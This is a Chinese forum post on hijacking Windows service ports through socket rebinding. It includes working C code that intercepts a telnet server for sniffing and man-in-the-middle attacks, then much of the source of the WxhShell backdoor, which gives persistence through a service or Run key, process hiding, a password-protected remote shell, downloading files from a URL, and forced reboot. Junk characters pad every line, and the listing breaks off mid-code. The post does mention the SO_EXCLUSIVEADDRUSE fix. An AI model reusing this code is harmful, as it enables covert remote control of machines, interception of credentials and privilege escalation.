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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: h8jD }9^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fa.0I~  
Q:6VYONN  
  saddr.sin_family = AF_INET; ESb ]}c:  
OlD`uA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fE,9zUo  
*5,c Rz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hnWo|! ,O$  
sCl$f7"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~:_0CKa!  
YxJD_R  
  这意味着什么?意味着可以进行如下的攻击: _{~]/k  
`B8tmW#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nT#JOmv  
$\AEWFB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nU`Lhh8y  
}%n5nLU`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f=J<*h  
2>em0{e  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Fl>]&x*~  
T@^]i&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N]5m(@h  
mCKk*5ws5"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q6`G I6  
)R{UXk3q}  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jw6Tj;c  
7 gB{In0  
  #include /)uM[ dnai  
  #include NE|[o0On  
  #include 0=v{RQ;W4  
  #include    ^+?|Qfi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )y7_qxwbV  
  int main() em2_pq9q  
  { M,:Bl}  
  WORD wVersionRequested; d`Q7"}uZ  
  DWORD ret; wb"RB A9  
  WSADATA wsaData; LZ*R[  
  BOOL val; ZEbLL4n  
  SOCKADDR_IN saddr; /&ygiH{^  
  SOCKADDR_IN scaddr; ;mAhY  
  int err; }1+%_|Y-E  
  SOCKET s; DlE_W+F  
  SOCKET sc; e<gx~N9l'  
  int caddsize; K'6[J"dB  
  HANDLE mt; ,ZI\dtl  
  DWORD tid;   IPA*-I57  
  wVersionRequested = MAKEWORD( 2, 2 ); k5+]SG`]]  
  err = WSAStartup( wVersionRequested, &wsaData ); ;BH>3VK  
  if ( err != 0 ) { J7-^F)lu-  
  printf("error!WSAStartup failed!\n"); $M"0BZQ?y!  
  return -1; 6&2LWaWMo$  
  } 8 |h9sn;P  
  saddr.sin_family = AF_INET; oUW<4l  
   u}H$-$jE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2pyt&'NJua  
\+qOO65/+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ; 7G_f  
  saddr.sin_port = htons(23); #\If]w*j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %hT4qzJj  
  { 4f1D*id*`#  
  printf("error!socket failed!\n"); qJ[@:&:  
  return -1; 9EF~l9`'U  
  } L~FTr  
  val = TRUE; ACBQ3   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1"K*._K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r>qA $zD^  
  { _LfHs1g4  
  printf("error!setsockopt failed!\n"); Jme%  
  return -1; [^PCm Z6n  
  } JE%A|R<Jl  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?p8k{N(1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r!/0 j)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .?#uxd~>  
dU;upS_-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -4L!k'uR  
  { RSWcaATZN  
  ret=GetLastError(); @eQld\h'  
  printf("error!bind failed!\n"); VTh$a_P>  
  return -1; 5A_4\YpDR  
  } }_46y*o8  
  listen(s,2); K%,$ V,#  
  while(1) [wcA.g*F  
  { oP$kRfXS!<  
  caddsize = sizeof(scaddr); Z}cIA87U  
  //接受连接请求 "xwM+AC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); .`LgYW  
  if(sc!=INVALID_SOCKET) @oH[SWx  
  { {tzxA_  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8@7AE"  
  if(mt==NULL) q9}2  
  { shi Hy*(v  
  printf("Thread Creat Failed!\n"); dl/X."iv!  
  break; 2Ug.:![  
  } kG3!(?:  
  } DNth4z  
  CloseHandle(mt); I5pp "*u  
  }  t9*=  
  closesocket(s); Xm[Czd]%  
  WSACleanup(); ch,|1}bi  
  return 0; .S vyj  
  }    ?f2G?Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) WV_`1hZX  
  { 52<~K  
  SOCKET ss = (SOCKET)lpParam; {^&k!H2  
  SOCKET sc; ;mJkqbVol  
  unsigned char buf[4096]; 8gpBz'/,  
  SOCKADDR_IN saddr; Tt6{WDscZ  
  long num; r>3^kL5UI  
  DWORD val; nu 7lh6o=  
  DWORD ret; Lpm?# g uR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b:B [3|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   T]2U fi.  
  saddr.sin_family = AF_INET; U1^l+G^,~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k&DGJ5m$.  
  saddr.sin_port = htons(23); _bQL[eXd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tBl#o ^  
  { /VtlG+dLl  
  printf("error!socket failed!\n"); w4OW4J#  
  return -1; UA0tFeH  
  } YmCbxYa7  
  val = 100; 4_< nQ9K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4[l^0  
  { <P pYl  
  ret = GetLastError(); U(3(ZqP  
  return -1; 9A*rE.B+W  
  } DNho%Xk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9}n,@@  
  { W8.j /K:  
  ret = GetLastError(); /W9 &Ke  
  return -1; 4I.1D2 1jA  
  }  oWrE2U;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 83?1<v0%  
  { X<K9L7/*  
  printf("error!socket connect failed!\n"); ^n71'MW  
  closesocket(sc); <UAP~RH{  
  closesocket(ss); QE6El'S  
  return -1; |B|@GF?:  
  } pU DO7Q]  
  while(1) r9 ;`  
  { UG=I~{L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #L1>dHhat  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 FAd``9kRT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 x)\V lR  
  num = recv(ss,buf,4096,0); '{^8_k\}B  
  if(num>0) 5\?3$<1 I  
  send(sc,buf,num,0); g$gS7!u,  
  else if(num==0) q4k`)?k9  
  break; k1wr/G'H[  
  num = recv(sc,buf,4096,0); 9i[4"&K  
  if(num>0) fn?VNZ`J  
  send(ss,buf,num,0); Okoo(dfM  
  else if(num==0) |<2 *v-a  
  break; $/.<z(F  
  } zg7G^!PU  
  closesocket(ss); NY 4C@@"  
  closesocket(sc); zze z~bv7:  
  return 0 ; 8vO;IK]9b^  
  } -Qg,99M  
wzxdVn 'S  
iRouLd  
========================================================== rV U:VL`2  
9C?cm:  
下边附上一个代码,,WXhSHELL FRS28D  
DOT=U _  
========================================================== 59K}  
Zr9d&|$  
#include "stdafx.h" W1<.OO\J  
?to1rFrU  
#include <stdio.h> W7W3DBKtSm  
#include <string.h> 5R"2Wd  
#include <windows.h> +0U#.|?  
#include <winsock2.h> c G*(C  
#include <winsvc.h> 5Fr;  
#include <urlmon.h> A~XOK;sB  
>.LgsMRIKi  
#pragma comment (lib, "Ws2_32.lib") Vbo5`+NAis  
#pragma comment (lib, "urlmon.lib") \"J?@  
(`F|nG=X  
#define MAX_USER   100 // 最大客户端连接数 uX98iJ  
#define BUF_SOCK   200 // sock buffer EM=xd~H  
#define KEY_BUFF   255 // 输入 buffer UIz:=DJ  
'6+Edu~Ho)  
#define REBOOT     0   // 重启 j;G[%gi6{  
#define SHUTDOWN   1   // 关机 d<_NB]V&F  
quY "  
#define DEF_PORT   5000 // 监听端口 _o&94&  
Jxn3$  
#define REG_LEN     16   // 注册表键长度 k*OvcYL1A  
#define SVC_LEN     80   // NT服务名长度 Pu-p7:99;'  
e& p_f<  
// 从dll定义API xl3zy~;M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uFC?_q?4\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8s~\iuk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !5? m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T0YDfo  
{ v,{x1  
// wxhshell配置信息 5St`@  
struct WSCFG { di--:h/  
  int ws_port;         // 监听端口 Oy:QkV9  
  char ws_passstr[REG_LEN]; // 口令 Ri; =aZ5m  
  int ws_autoins;       // 安装标记, 1=yes 0=no r?>Vx -  
  char ws_regname[REG_LEN]; // 注册表键名 @81-kdTx  
  char ws_svcname[REG_LEN]; // 服务名 sRi?]9JIl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _O"L1Let  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C1KfXC*|L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q js2hj-$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sf=F cb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O@nqHZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QH4k!^  
TeKC} NW  
}; H_Iim[v#  
5dqQws-,?1  
// default Wxhshell configuration 8^8>qSD1  
struct WSCFG wscfg={DEF_PORT, A%h~Z a  
    "xuhuanlingzhe", ]7v81G5E  
    1, Wgav>7!9  
    "Wxhshell", ax4*xxU  
    "Wxhshell", ;CA ?eI  
            "WxhShell Service", #FEa 5  
    "Wrsky Windows CmdShell Service", UOw~rK   
    "Please Input Your Password: ", |3S'8Oe CI  
  1,  NvUu.  
  "http://www.wrsky.com/wxhshell.exe", ud yAP>  
  "Wxhshell.exe" : #3OcD4  
    }; ~B<97x(X  
09G9nu;&{  
// 消息定义模块 XO0>t{G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z<n"{%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u\M4`p!g=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3\7'm]  
char *msg_ws_ext="\n\rExit."; >vHH  
char *msg_ws_end="\n\rQuit.";  qe[  
char *msg_ws_boot="\n\rReboot..."; VPWxHVf  
char *msg_ws_poff="\n\rShutdown..."; aF,j J}On  
char *msg_ws_down="\n\rSave to "; 4g>1G qv6  
jo<>Hc{g>  
char *msg_ws_err="\n\rErr!"; ;0;3BH A  
char *msg_ws_ok="\n\rOK!"; f9vcf# 2  
~l(G6/R  
char ExeFile[MAX_PATH]; _t$lcOT  
int nUser = 0; C5>{Q:.`e'  
HANDLE handles[MAX_USER]; XI]OA7Zis  
int OsIsNt; hN& yc  
03~+-h& n  
SERVICE_STATUS       serviceStatus; ^uC"dfH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CKx\V+\O  
h0T< :X   
// 函数声明 c=jcvDQ6W  
int Install(void); NR ;q`Xe-  
int Uninstall(void); iP2U]d~M  
int DownloadFile(char *sURL, SOCKET wsh); |VTWw<{LX  
int Boot(int flag); V/`#B$6  
void HideProc(void); l{nB.m2  
int GetOsVer(void); )\um "l*\c  
int Wxhshell(SOCKET wsl); =]!8:I?C<  
void TalkWithClient(void *cs); ,D:iQDG^  
int CmdShell(SOCKET sock); DhY;pG,t  
int StartFromService(void); jA A'h A  
int StartWxhshell(LPSTR lpCmdLine); kSLSxfR  
Pbc`LN /s|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); L.SDMz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9+]ZH.(YE  
X QI.0L"  
// 数据结构和表定义 dK:l&R  
SERVICE_TABLE_ENTRY DispatchTable[] = | \Ab L!u  
{ G A'*58  
{wscfg.ws_svcname, NTServiceMain}, mw:3q6  
{NULL, NULL} )W[KD,0+j  
}; QV`X?m  
eA~J4k_  
// 自我安装 K{, W_ ^  
int Install(void) ^fA3<|  
{ JOA%Y;`<#  
  char svExeFile[MAX_PATH]; :X3rd|;kc  
  HKEY key; \%w7D6dEZ  
  strcpy(svExeFile,ExeFile); \B*k_W/r@  
# rh0r`  
// 如果是win9x系统,修改注册表设为自启动 {fAh@:{@  
if(!OsIsNt) { (jp1; #P!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xnl<<}4pJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {;]uL`abi?  
  RegCloseKey(key); :`{9x%o;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *raIV]W3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fG u5%T,  
  RegCloseKey(key); 6&i[g  
  return 0; K~7'@\2 ?  
    } p +u{W"I`  
  } vN{vJlpY  
} ] +}:VaeA  
else { VFe-#"0ZO  
R=2 gtW"r  
// 如果是NT以上系统,安装为系统服务 #]?,gwvTf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o%kSR ]V|  
if (schSCManager!=0) gg lNpzj  
{ ~J8cS  
  SC_HANDLE schService = CreateService j zxf"X-  
  ( @qg0u#k5  
  schSCManager, ~0VwF  
  wscfg.ws_svcname, I>N-95  
  wscfg.ws_svcdisp, *D,v>(  
  SERVICE_ALL_ACCESS, [,\'V0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ==jkp U*=  
  SERVICE_AUTO_START, "U/NMGMj  
  SERVICE_ERROR_NORMAL, qg_>`Bv"a  
  svExeFile, rg#qSrHp  
  NULL, 8r7/IGFg  
  NULL, |u?k-,uI9  
  NULL, jD&}}:Dj  
  NULL, k#l'ko/X  
  NULL {q5hF5!`)  
  );  @oe3i  
  if (schService!=0) "cnG/{($*  
  { NTpz)R  
  CloseServiceHandle(schService); EGQ1l i'B  
  CloseServiceHandle(schSCManager); d&GKfF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  y)N.LS  
  strcat(svExeFile,wscfg.ws_svcname); asm[-IB2u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DI $ mD{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Ut!u)  
  RegCloseKey(key); UD Iac;vT  
  return 0; {GGO')p  
    } &5kjjQ*HB  
  } <a4 iL3  
  CloseServiceHandle(schSCManager); /ieu)m:2  
} ^L*VW gi9  
}  3L 1lq .  
)w }*PL  
return 1; e3HF"v]2!  
} pAPQi|CN  
ZI#SYEF6  
// 自我卸载 4wM$5  
int Uninstall(void) sT;=7 L<TA  
{ D{&+7C:8.  
  HKEY key; L!G9O]WB  
^>P@5gcoE(  
if(!OsIsNt) { -r6(=A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ep v3/ `I  
  RegDeleteValue(key,wscfg.ws_regname); <.y^  
  RegCloseKey(key); O"2wV +9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .R<s<]  
  RegDeleteValue(key,wscfg.ws_regname); EmBfiuX  
  RegCloseKey(key); !0d9<SVC  
  return 0; he#Tr'j  
  } OTy 4"%  
} { V =:O  
} 2Wc;hJ.1  
else { 0X S' v,|  
z9uEOX&2\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Eo25ir%  
if (schSCManager!=0) nvUkbmZG#  
{ =8VJ.{xy_e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o/i5e=9[y  
  if (schService!=0) 5 \.TZMB  
  { Qh1Kl_a?Lv  
  if(DeleteService(schService)!=0) { eog,EP"a8Y  
  CloseServiceHandle(schService); I5|S8d<  
  CloseServiceHandle(schSCManager); BT*K,p  
  return 0; 'nmYB:&!  
  } *}Ae9  
  CloseServiceHandle(schService); R&-W_v+  
  } Eb{4.17b  
  CloseServiceHandle(schSCManager); LcQ\?]w`]  
} $F /p8AraK  
} Z{R=h7P  
!513rNO  
return 1; Wpg?%+Y  
} "_% 0|;  
PauFuzPP  
// 从指定url下载文件 'amex  
int DownloadFile(char *sURL, SOCKET wsh) bj* v'  
{ '!|E+P-  
  HRESULT hr; ogh2kht  
char seps[]= "/"; !Vod0j">  
char *token; jrMGc=KL  
char *file; jAQ)3ON<  
char myURL[MAX_PATH]; ^PCL^]W  
char myFILE[MAX_PATH]; (WU~e!}  
p%M(G#gOgP  
strcpy(myURL,sURL); zs]>XO~Jg  
  token=strtok(myURL,seps); 0UAr}H.:  
  while(token!=NULL) ph|2lLZ  
  { ph$&f0A6Xc  
    file=token; (x*2BEn|  
  token=strtok(NULL,seps); 1>O0Iu  
  } rj`.hXO  
uJAB)ti2I  
GetCurrentDirectory(MAX_PATH,myFILE); v:;C|uE|  
strcat(myFILE, "\\"); 9#=IrlV4  
strcat(myFILE, file); oq m{<g?2  
  send(wsh,myFILE,strlen(myFILE),0); ":#A>L? l  
send(wsh,"...",3,0); \Jj'60L^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bKTwG@{/k  
  if(hr==S_OK) )8A=yrTIT  
return 0; A<G ;  
else V1+o3g{}  
return 1; EXM/>PG  
eVbh$cIrZ  
} :-jP8X  
mm9S#Ya  
// 系统电源模块 cB{;Nh6"  
int Boot(int flag) o@V/37!  
{ B2+_F"<;  
  HANDLE hToken; q~A|R   
  TOKEN_PRIVILEGES tkp; uS+b* :  
F@*r%[S/  
  if(OsIsNt) { ? wiq 3f6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jzOMjz~:)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *~aI>7H  
    tkp.PrivilegeCount = 1; CI ]U)@\U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AXv3jH,HF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7*8nUq  
if(flag==REBOOT) { j2&OYg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :r|P?;t(  
  return 0; XS~w_J#q  
} 9$w)_RX9W  
else { '1T v1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |Z)/  
  return 0; &T4Cn@  
} _\V{X}ftqa  
  } sT8kVN|Uv  
  else { %Zi,nHg8  
if(flag==REBOOT) { |D_n4#X7u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OsuSx^}  
  return 0; B 0fo[Ev  
} ^ZZ@!Udy  
else { C3`.-/{D"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *g_>eNpXD  
  return 0; }t{^*(  
} !7Q.w/|=  
} 9"v ox   
JL*]9$o  
return 1; (6_/n&mF  
} u=N;P  
xuC6EK+  
// win9x进程隐藏模块 G`<1>%" F  
void HideProc(void) \>CBam8d  
{ wB 0WR  
^{,}, i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GTX&:5H\t  
  if ( hKernel != NULL ) "+OMo-<K7  
  { d=Ihl30m  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PzG:M7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @!tmUme1c  
    FreeLibrary(hKernel); 2/W0y!qh1  
  } .6]cu{K(  
W;j)ux7jMY  
return; ntUVhIE0  
} !Kn+*'#  
cF6@.)  
// 获取操作系统版本 (>% Vj  
int GetOsVer(void) )FiU1E  
{ .St h  
  OSVERSIONINFO winfo; }LVE^6zyk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a*@Z^5f  
  GetVersionEx(&winfo); I Q`aDo-V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m<;" 1<k  
  return 1; o`]FH _  
  else +Gs;3jC^  
  return 0; m^&mCo,  
} *^m.V=  
Gf$>!zXr  
// 客户端句柄模块 ojI"<Q~g  
int Wxhshell(SOCKET wsl) {+59YO  
{ nK; rEL  
  SOCKET wsh; 81 Not  
  struct sockaddr_in client; o ieLh"$  
  DWORD myID; ^hTJp{  
YXOD fd%L  
  while(nUser<MAX_USER) B#lj8I^|  
{ DD3yl\#,  
  int nSize=sizeof(client); Fgq*3t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $e,!fB;B  
  if(wsh==INVALID_SOCKET) return 1; .jU0Hu{F4  
sm <kb@g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n_ gB#L$  
if(handles[nUser]==0) gI$`d?[0{  
  closesocket(wsh); z?g4^0e  
else ^E,Uc K;  
  nUser++; aj~@r3E ;  
  } {?_)m/\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S`-IQ,*}  
0To 5|r  
  return 0; u+I3VK_)  
} c_=zd6 b$S  
MO+0]uh:  
// 关闭 socket .=<pU k 3G  
void CloseIt(SOCKET wsh) T7X2$ '  
{ u01^ABn  
closesocket(wsh); jYx(  
nUser--; 7q=xW6  
ExitThread(0); |#,W3Ik(l  
} )W#g@V)>  
p 5w g+K  
// 客户端请求句柄 4& WzG nK  
void TalkWithClient(void *cs) _Xe< JJvq  
{ rkXSy g b  
EnAw8Gm*  
  SOCKET wsh=(SOCKET)cs; ?XrTZ{5'  
  char pwd[SVC_LEN]; {x$#5 PW  
  char cmd[KEY_BUFF]; 6XqO' G  
char chr[1]; JH, +F  
int i,j; T 0C'$1T  
,o6:  V]a  
  while (nUser < MAX_USER) { 7hE=+V8  
Jk{2!uP  
if(wscfg.ws_passstr) { 5Uz(Bi  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qc/J"<Lx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +#9 (T  
  //ZeroMemory(pwd,KEY_BUFF); LLN^^>5|l  
      i=0; @K> Pw arl  
  while(i<SVC_LEN) { |bUmkw  
z<XS"4l?W  
  // 设置超时 g#NUo/  
  fd_set FdRead; *]u/,wCB  
  struct timeval TimeOut; 1z!Lk*C)  
  FD_ZERO(&FdRead); @1X1E 2:  
  FD_SET(wsh,&FdRead); [# H8Mb+7  
  TimeOut.tv_sec=8; D]y.!D{l2  
  TimeOut.tv_usec=0; S}yb~uc,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ywBo9|%T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C*zdHzMj  
=-Tetp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cVi CWc2  
  pwd=chr[0]; ;pYk+r6Cr  
  if(chr[0]==0xd || chr[0]==0xa) { qN(; l&Q  
  pwd=0; pm|]GkM  
  break; 53xq%  
  } ;trR' ~  
  i++; /pEki g7M  
    } $80/ub:R  
Wb$bCR#?<  
  // 如果是非法用户,关闭 socket `UPmr50Wq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ; #  
} 6jA Q  
4Yk (ldR~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OC.@C}u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M1\/ueOe  
cQb%bmBc5  
while(1) { h<q``hn>  
T!r7RS  
  ZeroMemory(cmd,KEY_BUFF); T9yW# .  
J(GLPCO$K  
      // 自动支持客户端 telnet标准   l1-FL-1  
  j=0; MR: {Ps&,  
  while(j<KEY_BUFF) { C5?M/xj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nq3P?I(<  
  cmd[j]=chr[0]; s:{%1/  
  if(chr[0]==0xa || chr[0]==0xd) { *a4eL [  
  cmd[j]=0; U^I'X7`r  
  break; fx5vaM!  
  } pj`-T"Q  
  j++; pDT6>2t  
    } |\ L2q/u  
eA_4,"{  
  // 下载文件  73X]|fy  
  if(strstr(cmd,"http://")) { 4B 6Aw?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); L|Iq#QX|  
  if(DownloadFile(cmd,wsh)) d)HK9T|B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FB`HwE<  
  else wXnt3)e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^W*/!q7H  
  } 7y3; F7V  
  else { *!kg@ _0K  
sa($3`d  
    switch(cmd[0]) { hJM0A3(Cm  
  N4 pA3~P  
  // 帮助 a;sZNUSn  
  case '?': { ?u|g2!{_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  ?auiq  
    break; fy eS )  
  } ]Ea6Z  
  // 安装 .nN7*))Fj  
  case 'i': { ~%ZO8X:^  
    if(Install()) %K4-V5f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iD~s,  
    else ;f?bb*1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kaLRI|hC  
    break; L.'N'-BV  
    } l/5/|UE9  
  // 卸载 `N0E;=g  
  case 'r': { ~cz t=  
    if(Uninstall()) DDEn63{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [iD!!{6+  
    else jn'8F$GU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z&8#1'  
    break; ?.H*!u+9>  
    } slbV[xR  
  // 显示 wxhshell 所在路径 ~F-,Q_|-  
  case 'p': { >JhQ=j  
    char svExeFile[MAX_PATH]; 6{6tg>|L)  
    strcpy(svExeFile,"\n\r"); %F7k| Na  
      strcat(svExeFile,ExeFile); Yp8$0KK  
        send(wsh,svExeFile,strlen(svExeFile),0); IM+PjYJ  
    break; R!=XMV3$PH  
    } >8##~ZuF+  
  // 重启 BeRn9[  
  case 'b': { ~H.;pJ{ 8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \a#2Wm  
    if(Boot(REBOOT)) 8I'?9rt2M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bYz:gbs]4|  
    else { 7%tn+  
    closesocket(wsh); N78Ev7PN  
    ExitThread(0); )L?Tq"hy  
    } F=#Wfl-o  
    break; bF.Aj8ZQ  
    } qr*/}F6  
  // 关机 '#fj)  
  case 'd': { :MpCj<<[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n1ICW 9  
